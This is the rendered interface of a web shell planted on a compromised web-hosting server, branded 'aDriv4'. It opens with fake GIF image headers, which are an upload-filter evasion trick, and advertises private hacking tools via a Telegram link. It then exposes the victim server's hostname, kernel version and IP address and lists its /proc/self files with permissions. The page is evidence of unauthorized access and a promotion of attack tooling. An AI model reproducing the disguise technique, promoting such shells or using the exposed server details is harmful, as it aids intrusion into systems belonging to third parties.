GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux server184.web-hosting.com 4.18.0-553.5.1.lve.1.el8.x86_64 #1 SMP Fri Jun 14 15:38:45 UTC 2024 x86_64
 LiteSpeed
 198.54.114.129
Name Type Size Owner/Group Permission Last Modified Actions
. dir - jrsdomnz/jrsdomnz 0555 2026-01-21 11:50:07
.. dir - jrsdomnz/jrsdomnz 0555 2026-01-21 11:50:07
attr dir - jrsdomnz/jrsdomnz 0555 2026-01-21 11:51:11
cwd link - jrsdomnz/jrsdomnz 0555 2026-01-21 11:50:07
fd dir - jrsdomnz/jrsdomnz 0500 2026-01-21 11:51:11
fdinfo dir - jrsdomnz/jrsdomnz 0500 2026-01-21 11:51:11
net dir - jrsdomnz/jrsdomnz 0555 2026-01-21 11:51:11
ns dir - jrsdomnz/jrsdomnz 0511 2026-01-21 11:51:11
root link - root/root 0755 2025-08-05 08:05:44
auxv application/octet-stream 0 B jrsdomnz/jrsdomnz 0400 2026-01-21 11:51:11
cgroup text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-21 11:50:42
children application/x-empty 0 B jrsdomnz/jrsdomnz 0444 2026-01-21 11:51:11
clear_refs 0 B jrsdomnz/jrsdomnz 0200 2026-01-21 11:51:11
cmdline application/octet-stream 0 B jrsdomnz/jrsdomnz 0444 2026-01-21 11:50:42
comm text/plain 0 B jrsdomnz/jrsdomnz 0644 2026-01-21 11:51:11
cpu_resctrl_groups text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-21 11:51:11
cpuset application/octet-stream 0 B jrsdomnz/jrsdomnz 0444 2026-01-21 11:51:11
environ application/octet-stream 0 B jrsdomnz/jrsdomnz 0400 2026-01-21 11:51:11
exe application/x-executable 6.11 MB root/linksafe 0755 2025-09-30 04:05:21
gid_map text/plain 0 B jrsdomnz/jrsdomnz 0644 2026-01-21 11:51:11
io text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-21 11:51:11
limits text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-21 11:51:11
loginuid text/plain 0 B jrsdomnz/jrsdomnz 0644 2026-01-21 11:51:11
maps text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-21 11:51:11
mem 0 B jrsdomnz/jrsdomnz 0600 2026-01-21 11:51:11
mountinfo text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-21 11:51:11
mounts text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-21 11:51:11
numa_maps text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-21 11:51:11
oom_adj application/octet-stream 0 B jrsdomnz/jrsdomnz 0644 2026-01-21 11:51:11
oom_score text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-21 11:51:11
oom_score_adj application/octet-stream 0 B jrsdomnz/jrsdomnz 0644 2026-01-21 11:51:11
pagemap application/octet-stream 0 B jrsdomnz/jrsdomnz 0400 2026-01-21 11:51:11
patch_state text/plain 0 B jrsdomnz/jrsdomnz 0400 2026-01-21 11:51:11
personality text/plain 0 B jrsdomnz/jrsdomnz 0400 2026-01-21 11:51:11
projid_map text/plain 0 B jrsdomnz/jrsdomnz 0644 2026-01-21 11:51:11
sched text/plain 0 B jrsdomnz/jrsdomnz 0644 2026-01-21 11:51:11
schedstat text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-21 11:51:11
sessionid text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-21 11:51:11
setgroups text/plain 0 B jrsdomnz/jrsdomnz 0644 2026-01-21 11:51:11
smaps text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-21 11:51:11
smaps_rollup text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-21 11:51:11
stack 0 B jrsdomnz/jrsdomnz 0400 2026-01-21 11:51:11
stat text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-21 11:50:42
statm text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-21 11:50:42
status text/plain 0 B jrsdomnz/jrsdomnz 0444 2026-01-21 11:50:42
syscall text/plain 0 B jrsdomnz/jrsdomnz 0400 2026-01-21 11:51:11
uid_map text/plain 0 B jrsdomnz/jrsdomnz 0644 2026-01-21 11:51:11
wchan application/octet-stream 0 B jrsdomnz/jrsdomnz 0444 2026-01-21 11:51:11
© aDriv4